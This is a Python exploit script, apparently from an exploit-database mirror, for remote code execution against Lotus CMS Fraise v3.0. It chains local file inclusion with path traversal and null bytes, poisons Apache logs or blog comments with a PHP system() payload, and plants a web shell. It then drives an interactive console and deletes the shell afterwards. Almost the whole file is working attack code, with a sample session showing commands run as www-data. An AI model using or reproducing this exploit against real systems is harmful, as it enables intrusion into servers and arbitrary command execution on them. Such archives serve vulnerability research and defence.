PageRenderTime 41ms CodeModel.GetById 14ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/15964.py

https://bitbucket.org/DinoRex99/exploit-database
Python | 308 lines | 239 code | 16 blank | 53 comment | 15 complexity | fac20c1e3160393c9fa7cd0445dd4b27 MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/python
  2. # Lotus CMS Fraise v3.0 LFI - Remote Code Execution Exploit
  3. # greetz Tecr0C :0)
  4. #
  5. # Vuln: lines 15-23 in core/lib/router.php
  6. #---------- sof
  7. # //Get page request (if any)
  8. # $page = $this->getInputString("page", "index");
  9. #
  10. # //Get plugin request (if any)
  11. # $plugin = $this->getInputString("system", "Page");
  12. #
  13. # //If there is a request for a plugin
  14. # if(file_exists("core/plugs/".$plugin."Starter.php")){
  15. # //Include Page fetcher
  16. # include("core/plugs/".$plugin."Starter.php");
  17. # --------- eof
  18. #
  19. # Additionally, the CMS allows an attacker to comment on blog posts which inturn will
  20. # write a file on the remote disk with possibly 'malicious' content inside.
  21. #
  22. # exploit includes:
  23. # - Proxy support
  24. # - Dynamic User-agent generation
  25. # - Apache access log and Lotus blog comment injection routines
  26. # - Custom shell creation and deletion
  27. #
  28. # Environment:
  29. # Apache 2.2.14/PHP 5.3.2
  30. # php.ini -> magic_quotes_gpc = Off
  31. #
  32. # Example:
  33. # [mr_me@pluto lotuscms]$ python luckylotus.py -c -i 1294585604 -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/
  34. #
  35. # | -------------------------------------------- |
  36. # | Lotus CMS v3.0 Remote Code Execution Exploit |
  37. # | by mr_me - net-ninja.net ------------------- |
  38. #
  39. # (+) Exploiting target @: 192.168.56.101/webapps/lotus/lcms/
  40. # (+) Testing proxy @ localhost:8080.. proxy is found to be working!
  41. # (+) Testing the file inclusion vulnerability.. file inclusion is working!
  42. # (+) Writing comment.. comment shell written sucessfully
  43. # (+) Writing webshell d8e8fca2dc0f896fd7cb4cb0031ba249.php to the webroot..
  44. # (+) Entering interactive remote console (q for quit)
  45. #
  46. # mr_me@192.168.56.101# id
  47. # uid=33(www-data) gid=33(www-data) groups=33(www-data)
  48. #
  49. # mr_me@192.168.56.101# uname -a
  50. # Linux steve-ubuntu 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
  51. #
  52. # mr_me@192.168.56.101# q
  53. import sys, urllib, urllib2, socket, re, base64, getpass
  54. from optparse import OptionParser
  55. from random import choice
  56. usage = "./%prog [<options>] -t [target] -d [directory path]"
  57. usage += "\nExample 1: ./%prog -l -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/"
  58. usage += "\nExample 2: ./%prog -c -i 1294585604 -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/"
  59. parser = OptionParser(usage=usage)
  60. parser.add_option("-p", type="string",action="store", dest="proxy",
  61. help="HTTP Proxy <server:port>")
  62. parser.add_option("-t", type="string", action="store", dest="target",
  63. help="The Target server <server:port>")
  64. parser.add_option("-d", type="string", action="store", dest="dirPath",
  65. help="Directory path to the CMS")
  66. parser.add_option("-i", type="string", action="store", dest="blogPostId",
  67. help="Blog Post ID that will be injected")
  68. parser.add_option("-l", action="store_true", dest="logInject",
  69. help="Code execution via apache access log")
  70. parser.add_option("-c", action="store_true", dest="blogComInject",
  71. help="Code execution via Blog comments")
  72. (options, args) = parser.parse_args()
  73. def banner():
  74. print "\n\t| -------------------------------------------- |"
  75. print "\t| Lotus CMS v3.0 Remote Code Execution Exploit |"
  76. print "\t| by mr_me - net-ninja.net ------------------- |\n"
  77. if len(sys.argv) < 5:
  78. banner()
  79. parser.print_help()
  80. sys.exit(1)
  81. # variables
  82. exploit = "index.php?system="
  83. dDS = "../" * 10
  84. nB = "%00"
  85. sName = "d8e8fca2dc0f896fd7cb4cb0031ba249"
  86. phpShell = "<?php system(base64_decode($_GET[a]));?>"
  87. cmd = "&a="
  88. agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
  89. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
  90. "Microsoft Internet Explorer/4.0b1 (Windows 95)",
  91. "Opera/8.00 (Windows NT 5.1; U; en)"]
  92. agent = choice(agents)
  93. def getProxy():
  94. try:
  95. proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
  96. except(socket.timeout):
  97. print "\n(-) Proxy timed out"
  98. sys.exit(1)
  99. return proxy_handler
  100. def getServerResponse(exploit):
  101. if options.proxy:
  102. try:
  103. opener = urllib2.build_opener(getProxy())
  104. opener.addheaders = [('User-agent', agent)]
  105. check = opener.open(exploit).read()
  106. except urllib2.HTTPError, error:
  107. check = error.read()
  108. pass
  109. else:
  110. try:
  111. req = urllib2.Request(exploit)
  112. req.addheaders = [('User-agent',agent)]
  113. check = urllib2.urlopen(req).read()
  114. except urllib2.HTTPError, error:
  115. check = error.read()
  116. pass
  117. return check
  118. def testFileInclusion():
  119. sys.stdout.write("\n(+) Testing the file inclusion vulnerability.. ")
  120. sys.stdout.flush()
  121. testFile = "etc/passwd"
  122. response = getServerResponse("http://" + options.target + options.dirPath + exploit + dDS + testFile + nB)
  123. if re.findall("root:x:", response):
  124. sys.stdout.write("file inclusion is working! \n")
  125. sys.stdout.flush()
  126. else:
  127. sys.stdout.write("file inclusion failed..\n")
  128. sys.stdout.flush()
  129. print "(-) Exiting.."
  130. sys.exit(1)
  131. def writeDirtyLog():
  132. sys.stdout.write("(+) Poisoning the access log.. ")
  133. sys.stdout.flush()
  134. su = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  135. try:
  136. su.connect((options.target,80))
  137. except:
  138. print "(-) Failed sending the shell to target %s" % options.target
  139. junk = ("GET /hazStart"+phpShell+"hazEnd HTTP/1.1\r\nHost: "+options.target+"\r\nConnection: close\r\n\r\n")
  140. su.send(junk)
  141. su.close()
  142. sys.stdout.write("log poisoned!\n")
  143. sys.stdout.flush()
  144. def huntLogFiles():
  145. foundLogs = []
  146. logs = ["var/log/httpd/access_log",
  147. "var/log/httpd/error_log",
  148. "apache/logs/error.log",
  149. "apache/logs/access.log",
  150. "apache/logs/error.log",
  151. "apache/logs/access.log",
  152. "apache/logs/error.log",
  153. "apache/logs/access.log",
  154. "apache/logs/error.log",
  155. "apache/logs/access.log",
  156. "apache/logs/error.log",
  157. "apache/logs/access.log",
  158. "logs/error.log",
  159. "logs/access.log",
  160. "logs/error.log",
  161. "logs/access.log",
  162. "var/log/apache2/access.log",
  163. "var/log/apache2/error.log",
  164. "var/log/apache2/access_log",
  165. "var/log/apache2/error_log",
  166. "logs/error.log",
  167. "logs/access.log",
  168. "logs/error.log",
  169. "logs/access.log",
  170. "logs/error.log",
  171. "logs/access.log",
  172. "etc/httpd/logs/acces_log",
  173. "etc/httpd/logs/acces.log",
  174. "etc/httpd/logs/error_log",
  175. "etc/httpd/logs/error.log",
  176. "var/www/logs/access_log",
  177. "var/www/logs/access.log",
  178. "usr/local/apache/logs/access_log",
  179. "usr/local/apache/logs/access.log",
  180. "var/log/apache/access_log",
  181. "var/log/apache/access.log",
  182. "var/log/access_log",
  183. "var/www/logs/error_log",
  184. "var/www/logs/error.log",
  185. "usr/local/apache/logs/error_log",
  186. "usr/local/apache/logs/error.log",
  187. "var/log/apache/error_log",
  188. "var/log/apache/error.log",
  189. "var/log/access_log",
  190. "var/log/error_log"]
  191. for log in logs:
  192. response = getServerResponse("http://"+options.target + options.dirPath + exploit + dDS + log + nB)
  193. if re.search("hazStart", response):
  194. print ("(+) Log file found @ location: %s" % (log))
  195. foundLogs.append(log)
  196. return foundLogs
  197. def writeLogWebShell(logFiles):
  198. print ("(+) Writing webshell %s.php to the webroot.." % (sName))
  199. cmd64 = base64.b64encode("echo \"<?php system(base64_decode(\$_GET['p'])); ?>\" > %s.php" % (sName))
  200. for log in logFiles:
  201. response = getServerResponse("http://"+options.target + options.dirPath + exploit + dDS + log + nB + cmd + cmd64)
  202. def interactiveAttack():
  203. print "(+) Entering interactive remote console (q for quit)\n"
  204. hn = "%s@%s# " % (getpass.getuser(), options.target)
  205. preBaseCmd = ""
  206. while preBaseCmd != 'q':
  207. preBaseCmd = raw_input(hn)
  208. cmd64 = base64.b64encode(preBaseCmd)
  209. cmdResp = getServerResponse("http://"+options.target + options.dirPath + sName + ".php?p=" + cmd64)
  210. print cmdResp
  211. # suicide
  212. rmShell = base64.b64encode("rm %s.php" % (sName))
  213. cmdResp = getServerResponse("http://"+options.target + options.dirPath + sName + ".php?p=" + rmShell)
  214. def testProxy():
  215. sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
  216. sys.stdout.flush()
  217. opener = urllib2.build_opener(getProxy())
  218. try:
  219. check = opener.open("http://www.google.com").read()
  220. except:
  221. check = 0
  222. pass
  223. if check >= 1:
  224. sys.stdout.write("proxy is found to be working!")
  225. sys.stdout.flush()
  226. else:
  227. print "proxy failed, exiting.."
  228. sys.exit(1)
  229. def writeDirtyComment():
  230. sys.stdout.write("(+) Writing comment.. ")
  231. sys.stdout.flush()
  232. indexPage = "http://" + options.target + options.dirPath + "index.php"
  233. if options.proxy:
  234. try:
  235. values = {'do' : 'comment', 'id' : options.blogPostId, 'name' : phpShell, 'website' : 'findme', 'message' : 'm'
  236. , 'system' : 'Blog', 'post' : options.blogPostId }
  237. data = urllib.urlencode(values)
  238. proxyfier = urllib2.build_opener(getProxy())
  239. proxyfier.addheaders = [('User-agent', agent)]
  240. check = proxyfier.open(indexPage, data).read()
  241. except:
  242. print "(-) Proxy connection failed"
  243. sys.exit(1)
  244. else:
  245. try:
  246. values = {'do' : 'comment', 'id' : options.blogPostId, 'name' : phpShell, 'website' : 'findme', 'message' : 'm'
  247. , 'system' : 'Blog', 'post' : options.blogPostId }
  248. data = urllib.urlencode(values)
  249. req = urllib2.Request(indexPage, data)
  250. req.addheaders = [('User-agent',agent)]
  251. check = urllib2.urlopen(req).read()
  252. except:
  253. print "(-) Target connection failed, check your address"
  254. sys.exit(1)
  255. sys.stdout.write("comment shell written sucessfully\n")
  256. sys.stdout.flush()
  257. def writeCommentWebShell():
  258. print ("(+) Writing webshell %s.php to the webroot.." % (sName))
  259. cmd64 = base64.b64encode("echo \"<?php system(base64_decode(\$_GET['p'])); ?>\" > %s.php" % (sName))
  260. ws = "http://" + options.target + options.dirPath + exploit + "../../data/modules/Blog/data/comments/"
  261. ws += options.blogPostId + ".txt" + nB + cmd + cmd64
  262. response = getServerResponse(ws)
  263. if __name__ == "__main__":
  264. banner()
  265. print "(+) Exploiting target @: %s" % (options.target+options.dirPath)
  266. if options.proxy:
  267. testProxy()
  268. testFileInclusion()
  269. if options.logInject:
  270. writeDirtyLog()
  271. dirtyLogs = huntLogFiles()
  272. if dirtyLogs > 0:
  273. writeLogWebShell(dirtyLogs)
  274. else:
  275. print "(-) No log files found working."
  276. sys.exit(1)
  277. elif options.blogComInject:
  278. if options.blogPostId:
  279. writeDirtyComment()
  280. writeCommentWebShell()
  281. else:
  282. print "(-) Missing Blog Post ID value. See the example.. exiting.."
  283. sys.exit(1)
  284. else:
  285. print "(-) Arguments not set correctly, see the example.. exiting.."
  286. sys.exit(1)
  287. interactiveAttack()